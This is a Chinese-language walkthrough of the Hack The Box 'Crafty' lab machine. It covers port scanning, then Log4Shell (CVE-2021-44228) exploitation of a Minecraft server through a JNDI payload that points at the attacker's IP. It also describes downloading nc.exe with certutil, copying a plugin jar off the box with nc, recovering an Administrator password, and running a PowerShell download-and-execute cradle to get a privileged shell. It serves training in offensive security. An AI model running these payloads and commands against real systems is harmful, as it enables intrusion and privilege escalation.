Hack The Box-Crafty

目录

信息收集

rustscan

whatweb

WEB

漏洞利用

漏洞说明

漏洞验证

提权

get user.txt

get Administrator

总结

信息收集

rustscan
┌──(root㉿ru)-[~/kali/hackthebox]
└─# rustscan -a 10.10.11.249 --range=0-65535 --ulimit=5000 -- -A -sC
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.249:80
Open 10.10.11.249:25565
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -sC -vvv -p 80,25565 10.10.11.249Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-07 13:37 CST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Initiating Ping Scan at 13:37
Scanning 10.10.11.249 [4 ports]
Completed Ping Scan at 13:37, 2.32s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:37
Scanning crafty.htb (10.10.11.249) [2 ports]
Discovered open port 80/tcp on 10.10.11.249
Discovered open port 25565/tcp on 10.10.11.249
Completed SYN Stealth Scan at 13:37, 0.30s elapsed (2 total ports)
Initiating Service scan at 13:37
Scanning 2 services on crafty.htb (10.10.11.249)
Completed Service scan at 13:37, 9.57s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against crafty.htb (10.10.11.249)
Retrying OS detection (try #2) against crafty.htb (10.10.11.249)
Initiating Traceroute at 13:37
Completed Traceroute at 13:37, 0.30s elapsed
Initiating Parallel DNS resolution of 1 host. at 13:37
Completed Parallel DNS resolution of 1 host. at 13:37, 2.02s elapsed
DNS resolution of 1 IPs took 2.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
NSE: Script scanning 10.10.11.249.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 6.49s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 3.41s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Nmap scan report for crafty.htb (10.10.11.249)
Host is up, received echo-reply ttl 127 (0.26s latency).
Scanned at 2024-03-07 13:37:12 CST for 31sPORT      STATE SERVICE   REASON          VERSION
80/tcp    open  http      syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-title: Crafty - Official Website
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
25565/tcp open  minecraft syn-ack ttl 127 Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.94SVN%E=4%D=3/7%OT=80%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=65E952A7%P=x86_64-pc-linux-gnu)
SEQ(TI=I%II=I%SS=S%TS=U)
SEQ(SP=101%GCD=1%ISR=108%TI=I%II=I%SS=S%TS=U)
OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%O6=M53CNNS)
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)Network Distance: 2 hops
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsTRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   276.70 ms 10.10.14.1
2   276.75 ms crafty.htb (10.10.11.249)NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:37
Completed NSE at 13:37, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.48 secondsRaw packets sent: 100 (8.148KB) | Rcvd: 33 (2.040KB)
从这可以看出。目标主机是一台windows主机,使用的是IIS 10.0服务器!而且出现域名 crafty.htb  ,我们加入到hosts文件中!本台机器一共开放了两个端口 80和25565端口!80/tcp    open  http      syn-ack ttl 127 Microsoft IIS httpd 10.0
25565/tcp open  minecraft syn-ack ttl 127 Minecraft 1.16.5

whatweb
┌──(root㉿ru)-[~/kali/hackthebox]
└─# whatweb http://crafty.htb/
http://crafty.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], JQuery[3.6.0], Microsoft-IIS[10.0], Script[text/javascript], Title[Crafty - Official Website]

WEB

 在主页发现子域名!经过尝试,没啥用!使用端口扫描器也没有探查到什么有用的东西!但是25565端口经过访问,发现有用的东西!

没错,就是这串java代码!我记得25565存在log4j漏洞!确切地说,是 CVE-2021–44228。这个漏洞允许我们控制日志消息和参数来执行任意代码!!!以下是此漏洞的poc!!!我们下载到本地去!

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.icon-default.png?t=N7T8https://github.com/kozmer/log4j-shell-poc?source=post_page-----316a735a306d--------------------------------


漏洞利用

漏洞说明

因为目标主机是windows,所以我们改成 cmd.exe为了让“poc.py”顺利运行,我们需要一个名为“jdk1.8.0_20”的java存档。我找到了一个java存档https://repo.huaweicloud.com/java/jdk/8u181-b13/我们需要把他下载到log4j的目录内!下载链接: https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz

解压出来tar -xf jdk-8u181-linux-x64.tar.gz

然后我们需要下载一个PyCraft ,它由 Python 编写的 Minecraft 客户端,它允许玩家使用 Python 编程语言来控制 Minecraft 游戏中的各种元素,
包括创建自动化过程、修改游戏中的世界、添加新功能等。我们需要下载一个,因为根据网站页面提示,就是mc服务器存在漏洞!版本是1.16.5

https://github.com/ammaraskar/pyCraft?source=post_page-----316a735a306d--------------------------------icon-default.png?t=N7T8https://github.com/ammaraskar/pyCraft?source=post_page-----316a735a306d--------------------------------


然后,我们需要设置一个虚拟环境供 pyCraft 运行virtualenv ENVsource ENV/bin/activatepip install -r requirements.txt------------------------------------
virtualenv ENV: 这是创建一个名为 ENV 的虚拟环境的命令。虚拟环境用于隔离项目的依赖,确保项目中使用的库和工具不会与系统中的其他项目冲突。source ENV/bin/activate: 这是激活虚拟环境的命令。在虚拟环境中运行的所有命令和脚本将使用该环境中的 Python 解释器和依赖项。pip install -r requirements.txt: 这是使用 pip 安装项目所需的依赖项的命令。通常,项目的依赖项会列在一个名为 requirements.txt 的文件中,
该命令会根据该文件安装所有必要的库。


漏洞验证
做完这些,我们需要一个监听器!我们需要利用log4j的poc,在此mc的服务器上进行反弹shell,所以需要一个监听器!

只需要输入Mojang的账号密码即可!但是我懒得注册,所以我们采用另一种方式就是直接去下载相应版本的游戏,因为该漏洞是存在mc游戏服务器里面的!我们只需要下载相应版本的游戏,再连接服务器,再次执行log4j漏洞的payload,即可触发该漏洞!

先在官网下载debian版本的mc,然后打开程序,下载一个版本是1.16.5的mc即可!然后打开!

打开发现是试玩模式,无法远程连接服务器,需要另外的解决办法经过我不断地寻找,发现可以使用TLauncher来进行免登录游玩,具体步骤如下先安装一个TLauncher的jdk1.8依赖环境,我们已经安装好了!(记得改个名字 : jdk1.8.0_20)然后,我们去 https://tlauncher.org/en/ 下载一个 TLauncher

将TLauncher解压后,会有一个jar文件,将其放到下载的jdk的文件夹下,然后启动即可!

会先下载一个库,比较慢!

完成更新之后,随便写一个名字,游戏版本选择 1.16.5版本!即可开始游戏!!

这样就完成了!选择多人游戏 --> 添加服务器  -->  10.10.11.249:25565  即可!在游戏的聊天框(按/,然后删除)中发送之前监听的payload : ${jndi:ldap://10.10.14.29:1389/a} 

这样就反弹shell了!

提权

get user.txt

在桌面找到user.txt

get Administrator

在plugins目录下,找到一个jar文件!我们想办法下载到本地去!使用nc即可,我们先上传一个为windows版nc! (或者使用powershell,因为这个太简单了,所以尝试nc)

certutil.exe -urlcache -split -f http://10.10.14.29:7890/nc.exe nc.execertutil.exe:Windows 自带的证书工具程序

在kali开启 nc -lp 3434 > playercounter-1.0-SNAPSHOT.jar 进行接收文件!
在windows上,把jar文件传给kali:  .\nc.exe 10.10.14.29 3434 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar

我们使用查看jar包的软件进行查看jar包!我的建议是使用 JD-GUI 可以查看源码安装方便  apt-get install jd-gui   即可!

我们在源码中发现一个类似于密码的字符串!可能是管理员的!我们尝试!

1、$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
2、$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
3、Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29:5454/shell.list')" -Credential $cred
这是一个 PowerShell 脚本用于创建一个凭据对象、以管理员身份启动 PowerShell 进程并下载执行 shell.ps1 脚本。这段代码做了以下几件事情:1. 创建一个 SecureString 对象 `$SecPass`,并将字符串 `'s67u84zKq8IXw'` 转换为一个安全字符串,用于保存密码。
2. 创建一个 PScredential 对象 `$cred`,该对象使用用户名 `'Administrator'` 和上一步创建的安全字符串作为密码。
3. 使用 Start-Process 命令启动一个新的 PowerShell 进程。命令的参数 `-FilePath "powershell"` 表示要执行的文件是 PowerShell,而 `-argumentlist` 参数指定了要传递给 PowerShell 的命令。
4. 在 `-argumentlist` 中,使用 IEX(Invoke-Expression)和 Net.WebClient 的 downloadString 方法来下载执行位于 `http://10.10.14.29:5454/shell.list` 的远程 PowerShell 脚本。此处的 URL 指向远程服务器上的 shell.ps1 脚本文件。下载的脚本将在以管理员身份启动的 PowerShell 进程中执行。
5. `-Credential $cred` 参数将之前创建的凭据对象传递给新启动的 PowerShell 进程,以确保以管理员身份运行该脚本。

shell.list 自己去生成!  里面的监听端口设置随意的即可!我设置的9999监听端口!

1、$SecPass = ConvertTo-SecureString 's67u84zKq8IXw' -AsPlainText -Force
2、$cred = New-Object System.Management.Automation.PScredential('Administrator',$SecPass)
3、Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.29:5454/shell.list')" -Credential $cred


总结
 通过 nmap 扫描识别出 HTTP 网页和 Minecraft 服务器。扫描显示服务器正在运行 IIS 10.0 — IIS 冗长并不是最佳实践。Nmap 服务版本很详细,可以轻松枚举漏洞。端口 25565 上的 Minecraft 服务器被识别为 v1.16.5,该服务器存在已知的 Log4j 漏洞,如 CVE-2021-44228 中记录的那样。该漏洞允许服务器上的用户输入简单的有效负载来获取服务器上的 shell。虽然某些权限可以限制损害,但存在一种允许使用管理员权限进行权限升级的方法。这个将危及用户的机密性,并可能导致服务器的完整性和可用性面临风险。最佳办法就是要求服​​务器立即修补或更新到最新版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/527486.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php调用guzzlehttp库时出现Segmentation fault的解决方案

先说结论&#xff0c;这个问题的原因是因为php7.4与openssl3不兼容产生的&#xff0c;解决方案如下&#xff1a; 输入openssl version -a查看openssl版本&#xff0c;如果是3以上的版本与php7.4不兼容&#xff0c;7.4以下的没测试过&#xff0c;估计也有问题。我最终是安装上了…

九州金榜|孩子厌学的因素及解决办法

孩子在学习的过程中&#xff0c;遇到厌学这种情况非常容易见到&#xff0c;这也是孩子在成长的过程中经常遇到的烦恼。面对孩子的厌学&#xff0c;作为家长这时候不要慌乱&#xff0c;要做到分析孩子产生厌学的原因&#xff0c;在去寻找解决孩子厌学的办法。下面九州金榜家庭教…

Android fragment的使用案例

效果图&#xff1a;两个点击事件&#xff0c;显示不同的fragment布局 默认是如下图&#xff0c;点击页面一也如下图 点击页面二如下图&#xff1a; Android Fragment的生命周期是与其所在的Activity紧密相关的。当一个Fragment被添加到Activity中时&#xff0c;它将经历一系列…

消息队列 MQ

文章目录 1. MQ 相关概念1.1 什么是 MQ1.2 为什么要用 MQ1.3 MQ 分类1.4 MQ 的选择 1. MQ 相关概念 1.1 什么是 MQ MQ(message queue)&#xff0c;从字面意思上看&#xff0c;本质是个队列&#xff0c;FIFO 先入先出&#xff0c;只不过队列中存放的内容是 message 而已&#x…

酷开科技以消费者需求为导向冲刺OTT行业的星辰大海

通过大屏营销、互动营销等方式&#xff0c;提升品牌认知度和市场竞争力。酷开科技始终坚持以消费者的需求为导向&#xff0c;致力于为品牌方和消费者搭建高效、准确的沟通桥梁&#xff0c;开创OTT大屏营销新纪元。 伴随技术发展&#xff0c;智能电视已经从“尝鲜”变成了主流产…

如何保证对外接口的安全?

文章目录 前言一、生成及校验Token1.1 生成Token1.2 校验Token1.3 SignUtil 签名工具类 前言 1.什么是安全接口&#xff1f; 通常来说要将暴露在外网的 API 接口视为安全接口&#xff0c;需要实现防篡改和防重放的功能。 1.1 什么是篡改问题&#xff1f; 由于 HTTP 是一种无状…

STM32CubeIDE基础学习-STM32CubeIDE软件程序下载方法

STM32CubeIDE基础学习-STM32CubeIDE软件代码下载方法 文章目录 STM32CubeIDE基础学习-STM32CubeIDE软件代码下载方法前言第1章 代码下载第2章 下载器固件更新总结 前言 编写完代码&#xff0c;一般都会选择在线下载程序的方式进行验证该程序是否正确&#xff0c;如果发现结果和…

2024年【化工自动化控制仪表】考试总结及化工自动化控制仪表作业考试题库

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 2024年【化工自动化控制仪表】考试总结及化工自动化控制仪表作业考试题库&#xff0c;包含化工自动化控制仪表考试总结答案和解析及化工自动化控制仪表作业考试题库练习。安全生产模拟考试一点通结合国家化工自动化控…

CorelDRAW2024新功能有哪些 ?CorelDRAW2024最新版本更新怎么样

coreldraw 2024是一款非常好用的设计软件&#xff0c;功能非常强大&#xff0c;它可应用于商标设计、标志制作、模型绘制、插图描画、排版及分色输出等领域&#xff0c;因此受到了不少设计师的青睐&#xff0c; CorelDRAW2024新功能有哪些&#xff1f;CorelDRAW2024最新版本更新…

uniapp iOS 真机调试

一、下载爱思助手 二、打开爱思助手&#xff0c;把你的 苹果手机 用原装数据线连接至电脑&#xff1a; 找到 工具箱 > 搜索IPA > 打开IAP签名 三、添加 IPA 文件 mac&#xff1a;finder 》应用程序 》右键 HbuilderX 》显示包内容 》HbuilderX / plugins/ lau…

论文阅读:Diffusion Model-Based Image Editing: A Survey

Diffusion Model-Based Image Editing: A Survey 论文链接 GitHub仓库 摘要 这篇文章是一篇基于扩散模型&#xff08;Diffusion Model&#xff09;的图片编辑&#xff08;image editing&#xff09;方法综述。作者从多个方面对当前的方法进行分类和分析&#xff0c;包括学习…

【工具相关】zentao用例管理平台部署实践

文章目录 一、备份还原1、数据备份1.1、前言1.2、版本备份1.3、数据备份 2、数据恢复2.1、版本恢复2.2、数据恢复 二、问题处理1、ERROR: SQLSTATE[HY000] [2002] Connection refused 一、备份还原 1、数据备份 1.1、前言 禅道系统从10.6版本以后&#xff0c;新增数据备份设…